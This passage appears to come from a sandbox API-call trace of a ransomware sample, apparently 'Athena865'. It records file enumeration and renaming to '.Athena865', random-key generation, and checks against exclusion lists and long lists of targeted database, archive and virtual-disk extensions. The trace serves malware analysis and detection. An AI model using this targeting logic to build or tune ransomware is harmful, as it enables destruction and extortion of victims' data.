Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote.gpd.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenote.gpd.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0153.094] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9600) returned 1 [0153.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0153.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0153.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54f078 [0153.094] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54f100) returned 1 [0153.095] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0153.095] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0153.095] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2880, lpName=0x0) returned 0x154 [0153.096] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2880) returned 0x100000 [0153.098] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54f100) returned 1 [0153.098] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0153.098] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0153.098] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0153.098] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0153.098] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0153.099] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0153.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0153.099] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0153.099] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0153.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0153.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0153.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0153.099] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0153.099] CloseHandle (hObject=0x154) returned 1 [0153.099] CloseHandle (hObject=0x17c) returned 1 [0153.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0153.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54f078 | out: hHeap=0x4f0000) returned 1 [0153.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0153.100] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d77db00, ftCreationTime.dwHighDateTime=0x1c8e25a, ftLastAccessTime.dwLowDateTime=0x6c1f0570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7d77db00, ftLastWriteTime.dwHighDateTime=0x1c8e25a, nFileSizeHigh=0x0, nFileSizeLow=0x7b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendToOneNote.ini", cAlternateFileName="SENDTO~1.INI")) returned 1 [0153.100] lstrcmpiW (lpString1="SendToOneNote.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0153.100] lstrcmpiW (lpString1="SendToOneNote.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0153.100] lstrcmpiW (lpString1="SendToOneNote.ini", lpString2=".") returned 1 [0153.100] lstrcmpiW (lpString1="SendToOneNote.ini", lpString2="..") returned 1 [0153.100] lstrcmpiW (lpString1="SendToOneNote.ini", lpString2="windows") returned -1 [0153.100] lstrcmpiW (lpString1="SendToOneNote.ini", lpString2="bootmgr") returned 1 [0153.100] lstrcmpiW (lpString1="SendToOneNote.ini", lpString2="temp") returned -1 [0153.100] lstrcmpiW (lpString1="SendToOneNote.ini", lpString2="pagefile.sys") returned 1 [0153.100] lstrcmpiW (lpString1="SendToOneNote.ini", lpString2="boot") returned 1 [0153.100] lstrcmpiW (lpString1="SendToOneNote.ini", lpString2="ids.txt") returned 1 [0153.100] lstrcmpiW (lpString1="SendToOneNote.ini", lpString2="ntuser.dat") returned 1 [0153.100] lstrcmpiW (lpString1="SendToOneNote.ini", lpString2="perflogs") returned 1 [0153.100] lstrcmpiW (lpString1="SendToOneNote.ini", lpString2="MSBuild") returned 1 [0153.100] lstrlenW (lpString="SendToOneNote.ini") returned 17 [0153.100] lstrcpyW (in: lpString1=0x241e8ae, lpString2="SendToOneNote.ini" | out: lpString1="SendToOneNote.ini") returned="SendToOneNote.ini" [0153.100] lstrlenW (lpString="SendToOneNote.ini") returned 17 [0153.100] lstrlenW (lpString="Athena865") returned 9 [0153.100] lstrcmpiW (lpString1="eNote.ini", lpString2="Athena865") returned 1 [0153.100] lstrlenW (lpString=".dll") returned 4 [0153.100] lstrcmpiW (lpString1="SendToOneNote.ini", lpString2=".dll") returned 1 [0153.101] lstrlenW (lpString=".lnk") returned 4 [0153.101] lstrcmpiW (lpString1="SendToOneNote.ini", lpString2=".lnk") returned 1 [0153.101] lstrlenW (lpString=".ini") returned 4 [0153.101] lstrcmpiW (lpString1="SendToOneNote.ini", lpString2=".ini") returned 1 [0153.101] lstrlenW (lpString=".sys") returned 4 [0153.101] lstrcmpiW (lpString1="SendToOneNote.ini", lpString2=".sys") returned 1 [0153.101] lstrlenW (lpString="SendToOneNote.ini") returned 17 [0153.101] lstrlenW (lpString="bak") returned 3 [0153.101] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0153.101] lstrlenW (lpString="ba_") returned 3 [0153.101] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0153.101] lstrlenW (lpString="dbb") returned 3 [0153.101] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0153.101] lstrlenW (lpString="vmdk") returned 4 [0153.101] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0153.101] lstrlenW (lpString="rar") returned 3 [0153.101] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0153.101] lstrlenW (lpString="zip") returned 3 [0153.101] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0153.101] lstrlenW (lpString="tgz") returned 3 [0153.101] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0153.101] lstrlenW (lpString="vbox") returned 4 [0153.101] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0153.101] lstrlenW (lpString="vdi") returned 3 [0153.101] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0153.101] lstrlenW (lpString="vhd") returned 3 [0153.101] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0153.101] lstrlenW (lpString="vhdx") returned 4 [0153.101] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0153.102] lstrlenW (lpString="avhd") returned 4 [0153.102] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0153.102] lstrlenW (lpString="db") returned 2 [0153.102] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0153.102] lstrlenW (lpString="db2") returned 3 [0153.102] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0153.102] lstrlenW (lpString="db3") returned 3 [0153.102] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0153.102] lstrlenW (lpString="dbf") returned 3 [0153.102] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0153.102] lstrlenW (lpString="mdf") returned 3 [0153.102] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0153.102] lstrlenW (lpString="mdb") returned 3 [0153.102] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0153.102] lstrlenW (lpString="sql") returned 3 [0153.102] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0153.102] lstrlenW (lpString="sqlite") returned 6 [0153.102] lstrcmpiW (lpString1="te.ini", lpString2="sqlite") returned 1 [0153.102] lstrlenW (lpString="sqlite3") returned 7 [0153.102] lstrcmpiW (lpString1="ote.ini", lpString2="sqlite3") returned -1 [0153.102] lstrlenW (lpString="sqlitedb") returned 8 [0153.102] lstrcmpiW (lpString1="Note.ini", lpString2="sqlitedb") returned -1 [0153.102] lstrlenW (lpString="xml") returned 3 [0153.102] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0153.102] lstrlenW (lpString="$er") returned 3 [0153.102] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0153.102] lstrlenW (lpString="4dd") returned 3 [0153.102] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0153.102] lstrlenW (lpString="4dl") returned 3 [0153.103] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0153.103] lstrlenW (lpString="^^^") returned 3 [0153.103] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0153.103] lstrlenW (lpString="abs") returned 3 [0153.103] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0153.103] lstrlenW (lpString="abx") returned 3 [0153.103] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0153.103] lstrlenW (lpString="accdb") returned 5 [0153.103] lstrcmpiW (lpString1="e.ini", lpString2="accdb") returned 1 [0153.103] lstrlenW (lpString="accdc") returned 5 [0153.103] lstrcmpiW (lpString1="e.ini", lpString2="accdc") returned 1 [0153.103] lstrlenW (lpString="accde") returned 5 [0153.103] lstrcmpiW (lpString1="e.ini", lpString2="accde") returned 1 [0153.103] lstrlenW (lpString="accdr") returned 5 [0153.103] lstrcmpiW (lpString1="e.ini", lpString2="accdr") returned 1 [0153.103] lstrlenW (lpString="accdt") returned 5 [0153.103] lstrcmpiW (lpString1="e.ini", lpString2="accdt") returned 1 [0153.103] lstrlenW (lpString="accdw") returned 5 [0153.103] lstrcmpiW (lpString1="e.ini", lpString2="accdw") returned 1 [0153.103] lstrlenW (lpString="accft") returned 5 [0153.103] lstrcmpiW (lpString1="e.ini", lpString2="accft") returned 1 [0153.103] lstrlenW (lpString="adb") returned 3 [0153.103] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0153.103] lstrlenW (lpString="adb") returned 3 [0153.103] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0153.103] lstrlenW (lpString="ade") returned 3 [0153.103] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0153.103] lstrlenW (lpString="adf") returned 3 [0153.103] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0153.104] lstrlenW (lpString="adn") returned 3 [0153.104] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0153.104] lstrlenW (lpString="adp") returned 3 [0153.104] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0153.104] lstrlenW (lpString="alf") returned 3 [0153.104] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0153.104] lstrlenW (lpString="ask") returned 3 [0153.104] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0153.104] lstrlenW (lpString="btr") returned 3 [0153.104] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0153.104] lstrlenW (lpString="cat") returned 3 [0153.104] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0153.104] lstrlenW (lpString="cdb") returned 3 [0153.104] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0153.104] lstrlenW (lpString="ckp") returned 3 [0153.104] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0153.104] lstrlenW (lpString="cma") returned 3 [0153.104] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0153.104] lstrlenW (lpString="cpd") returned 3 [0153.104] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0153.104] lstrlenW (lpString="dacpac") returned 6 [0153.104] lstrcmpiW (lpString1="te.ini", lpString2="dacpac") returned 1 [0153.104] lstrlenW (lpString="dad") returned 3 [0153.104] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0153.104] lstrlenW (lpString="dadiagrams") returned 10 [0153.104] lstrcmpiW (lpString1="neNote.ini", lpString2="dadiagrams") returned 1 [0153.104] lstrlenW (lpString="daschema") returned 8 [0153.104] lstrcmpiW (lpString1="Note.ini", lpString2="daschema") returned 1 [0153.105] lstrlenW (lpString="db-journal") returned 10 [0153.105] lstrcmpiW (lpString1="neNote.ini", lpString2="db-journal") returned 1 [0153.105] lstrlenW (lpString="db-shm") returned 6 [0153.105] lstrcmpiW (lpString1="te.ini", lpString2="db-shm") returned 1 [0153.105] lstrlenW (lpString="db-wal") returned 6 [0153.105] lstrcmpiW (lpString1="te.ini", lpString2="db-wal") returned 1 [0153.105] lstrlenW (lpString="dbc") returned 3 [0153.105] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0153.105] lstrlenW (lpString="dbs") returned 3 [0153.105] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0153.105] lstrlenW (lpString="dbt") returned 3 [0153.105] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0153.105] lstrlenW (lpString="dbv") returned 3 [0153.105] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0153.105] lstrlenW (lpString="dbx") returned 3 [0153.105] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0153.105] lstrlenW (lpString="dcb") returned 3 [0153.105] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0153.105] lstrlenW (lpString="dct") returned 3 [0153.105] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1 [0153.105] lstrlenW (lpString="dcx") returned 3 [0153.105] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1 [0153.105] lstrlenW (lpString="ddl") returned 3 [0153.105] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1 [0153.105] lstrlenW (lpString="dlis") returned 4 [0153.105] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1 [0153.105] lstrlenW (lpString="dp1") returned 3 [0153.105] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1 [0153.105] lstrlenW (lpString="dqy") returned 3 [0153.106] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1 [0153.106] lstrlenW (lpString="dsk") returned 3 [0153.106] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1 [0153.106] lstrlenW (lpString="dsn") returned 3 [0153.106] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1 [0153.106] lstrlenW (lpString="dtsx") returned 4 [0153.106] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1 [0153.106] lstrlenW (lpString="dxl") returned 3 [0153.106] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1 [0153.106] lstrlenW (lpString="eco") returned 3 [0153.106] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1 [0153.106] lstrlenW (lpString="ecx") returned 3 [0153.106] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1 [0153.106] lstrlenW (lpString="edb") returned 3 [0153.106] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1 [0153.106] lstrlenW (lpString="epim") returned 4 [0153.106] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1 [0153.106] lstrlenW (lpString="fcd") returned 3 [0153.106] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1 [0153.106] lstrlenW (lpString="fdb") returned 3 [0153.106] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1 [0153.106] lstrlenW (lpString="fic") returned 3 [0153.106] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1 [0153.106] lstrlenW (lpString="flexolibrary") returned 12 [0153.106] lstrcmpiW (lpString1="oOneNote.ini", lpString2="flexolibrary") returned 1 [0153.106] lstrlenW (lpString="fm5") returned 3 [0153.106] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1 [0153.106] lstrlenW (lpString="fmp") returned 3 [0153.106] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1 [0153.107] lstrlenW (lpString="fmp12") returned 5 [0153.107] lstrcmpiW (lpString1="e.ini", lpString2="fmp12") returned -1 [0153.107] lstrlenW (lpString="fmpsl") returned 5 [0153.107] lstrcmpiW (lpString1="e.ini", lpString2="fmpsl") returned -1 [0153.107] lstrlenW (lpString="fol") returned 3 [0153.107] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1 [0153.107] lstrlenW (lpString="fp3") returned 3 [0153.107] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1 [0153.107] lstrlenW (lpString="fp4") returned 3 [0153.107] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1 [0153.107] lstrlenW (lpString="fp5") returned 3 [0153.107] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1 [0153.107] lstrlenW (lpString="fp7") returned 3 [0153.107] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1 [0153.107] lstrlenW (lpString="fpt") returned 3 [0153.107] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1 [0153.107] lstrlenW (lpString="frm") returned 3 [0153.107] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1 [0153.107] lstrlenW (lpString="gdb") returned 3 [0153.107] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0153.107] lstrlenW (lpString="gdb") returned 3 [0153.107] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0153.107] lstrlenW (lpString="grdb") returned 4 [0153.107] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1 [0153.107] lstrlenW (lpString="gwi") returned 3 [0153.107] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1 [0153.107] lstrlenW (lpString="hdb") returned 3 [0153.107] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1 [0153.107] lstrlenW (lpString="his") returned 3 [0153.108] lstrcmpiW (lpString1="ini", lpString2="his") returned 1 [0153.108] lstrlenW (lpString="ib") returned 2 [0153.108] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1 [0153.108] lstrlenW (lpString="idb") returned 3 [0153.108] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1 [0153.108] lstrlenW (lpString="ihx") returned 3 [0153.108] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1 [0153.108] lstrlenW (lpString="itdb") returned 4 [0153.108] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1 [0153.108] lstrlenW (lpString="itw") returned 3 [0153.108] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1 [0153.108] lstrlenW (lpString="jet") returned 3 [0153.108] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1 [0153.108] lstrlenW (lpString="jtx") returned 3 [0153.108] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1 [0153.108] lstrlenW (lpString="kdb") returned 3 [0153.108] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1 [0153.108] lstrlenW (lpString="kexi") returned 4 [0153.108] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1 [0153.108] lstrlenW (lpString="kexic") returned 5 [0153.108] lstrcmpiW (lpString1="e.ini", lpString2="kexic") returned -1 [0153.108] lstrlenW (lpString="kexis") returned 5 [0153.108] lstrcmpiW (lpString1="e.ini", lpString2="kexis") returned -1 [0153.108] lstrlenW (lpString="lgc") returned 3 [0153.108] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1 [0153.108] lstrlenW (lpString="lwx") returned 3 [0153.108] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1 [0153.108] lstrlenW (lpString="maf") returned 3 [0153.109] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1 [0153.109] lstrlenW (lpString="maq") returned 3 [0153.109] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1 [0153.109] lstrlenW (lpString="mar") returned 3 [0153.109] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1 [0153.109] lstrlenW (lpString="marshal") returned 7 [0153.109] lstrcmpiW (lpString1="ote.ini", lpString2="marshal") returned 1 [0153.109] lstrlenW (lpString="mas") returned 3 [0153.109] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1 [0153.109] lstrlenW (lpString="mav") returned 3 [0153.109] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1 [0153.109] lstrlenW (lpString="maw") returned 3 [0153.109] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1 [0153.109] lstrlenW (lpString="mdbhtml") returned 7 [0153.109] lstrcmpiW (lpString1="ote.ini", lpString2="mdbhtml") returned 1 [0153.109] lstrlenW (lpString="mdn") returned 3 [0153.109] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1 [0153.109] lstrlenW (lpString="mdt") returned 3 [0153.109] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1 [0153.109] lstrlenW (lpString="mfd") returned 3 [0153.109] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1 [0153.109] lstrlenW (lpString="mpd") returned 3 [0153.109] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1 [0153.109] lstrlenW (lpString="mrg") returned 3 [0153.109] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1 [0153.109] lstrlenW (lpString="mud") returned 3 [0153.109] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1 [0153.109] lstrlenW (lpString="mwb") returned 3 [0153.109] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1 [0153.110] lstrlenW (lpString="myd") returned 3 [0153.110] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1 [0153.110] lstrlenW (lpString="ndf") returned 3 [0153.110] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1 [0153.110] lstrlenW (lpString="nnt") returned 3 [0153.110] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1 [0153.110] lstrlenW (lpString="nrmlib") returned 6 [0153.110] lstrcmpiW (lpString1="te.ini", lpString2="nrmlib") returned 1 [0153.110] lstrlenW (lpString="ns2") returned 3 [0153.110] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1 [0153.110] lstrlenW (lpString="ns3") returned 3 [0153.110] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1 [0153.110] lstrlenW (lpString="ns4") returned 3 [0153.110] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1 [0153.110] lstrlenW (lpString="nsf") returned 3 [0153.110] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1 [0153.110] lstrlenW (lpString="nv") returned 2 [0153.110] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1 [0153.110] lstrlenW (lpString="nv2") returned 3 [0153.110] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1 [0153.110] lstrlenW (lpString="nwdb") returned 4 [0153.110] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1 [0153.110] lstrlenW (lpString="nyf") returned 3 [0153.110] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1 [0153.110] lstrlenW (lpString="odb") returned 3 [0153.110] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0153.110] lstrlenW (lpString="odb") returned 3 [0153.110] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0153.110] lstrlenW (lpString="oqy") returned 3 [0153.111] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1 [0153.111] lstrlenW (lpString="ora") returned 3 [0153.111] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1 [0153.111] lstrlenW (lpString="orx") returned 3 [0153.111] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1 [0153.111] lstrlenW (lpString="owc") returned 3 [0153.111] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1 [0153.111] lstrlenW (lpString="p96") returned 3 [0153.111] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1 [0153.111] lstrlenW (lpString="p97") returned 3 [0153.111] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1 [0153.111] lstrlenW (lpString="pan") returned 3 [0153.111] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1 [0153.111] lstrlenW (lpString="pdb") returned 3 [0153.111] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1 [0153.111] lstrlenW (lpString="pdm") returned 3 [0153.111] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1 [0153.111] lstrlenW (lpString="pnz") returned 3 [0153.111] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1 [0153.111] lstrlenW (lpString="qry") returned 3 [0153.111] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1 [0153.111] lstrlenW (lpString="qvd") returned 3 [0153.111] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1 [0153.111] lstrlenW (lpString="rbf") returned 3 [0153.111] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1 [0153.111] lstrlenW (lpString="rctd") returned 4 [0153.111] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1 [0153.111] lstrlenW (lpString="rod") returned 3 [0153.111] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1 [0153.111] lstrlenW (lpString="rodx") returned 4 [0153.112] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1 [0153.112] lstrlenW (lpString="rpd") returned 3 [0153.112] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1 [0153.112] lstrlenW (lpString="rsd") returned 3 [0153.112] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1 [0153.112] lstrlenW (lpString="sas7bdat") returned 8 [0153.112] lstrcmpiW (lpString1="Note.ini", lpString2="sas7bdat") returned -1 [0153.112] lstrlenW (lpString="sbf") returned 3 [0153.112] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1 [0153.112] lstrlenW (lpString="scx") returned 3 [0153.112] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1 [0153.112] lstrlenW (lpString="sdb") returned 3 [0153.112] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1 [0153.112] lstrlenW (lpString="sdc") returned 3 [0153.112] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1 [0153.112] lstrlenW (lpString="sdf") returned 3 [0153.112] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1 [0153.112] lstrlenW (lpString="sis") returned 3 [0153.112] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1 [0153.112] lstrlenW (lpString="spq") returned 3 [0153.112] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1 [0153.112] lstrlenW (lpString="te") returned 2 [0153.112] lstrcmpiW (lpString1="ni", lpString2="te") returned -1 [0153.112] lstrlenW (lpString="teacher") returned 7 [0153.112] lstrcmpiW (lpString1="ote.ini", lpString2="teacher") returned -1 [0153.112] lstrlenW (lpString="tmd") returned 3 [0153.112] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1 [0153.112] lstrlenW (lpString="tps") returned 3 [0153.112] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1 [0153.113] lstrlenW (lpString="trc") returned 3 [0153.113] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0153.113] lstrlenW (lpString="trc") returned 3 [0153.113] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0153.113] lstrlenW (lpString="trm") returned 3 [0153.113] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1 [0153.113] lstrlenW (lpString="udb") returned 3 [0153.113] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1 [0153.113] lstrlenW (lpString="udl") returned 3 [0153.113] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1 [0153.113] lstrlenW (lpString="usr") returned 3 [0153.113] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1 [0153.113] lstrlenW (lpString="v12") returned 3 [0153.113] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1 [0153.113] lstrlenW (lpString="vis") returned 3 [0153.113] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1 [0153.113] lstrlenW (lpString="vpd") returned 3 [0153.113] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1 [0153.113] lstrlenW (lpString="vvv") returned 3 [0153.113] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1 [0153.113] lstrlenW (lpString="wdb") returned 3 [0153.113] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1 [0153.113] lstrlenW (lpString="wmdb") returned 4 [0153.113] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1 [0153.113] lstrlenW (lpString="wrk") returned 3 [0153.113] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1 [0153.113] lstrlenW (lpString="xdb") returned 3 [0153.113] lstrcmpiW 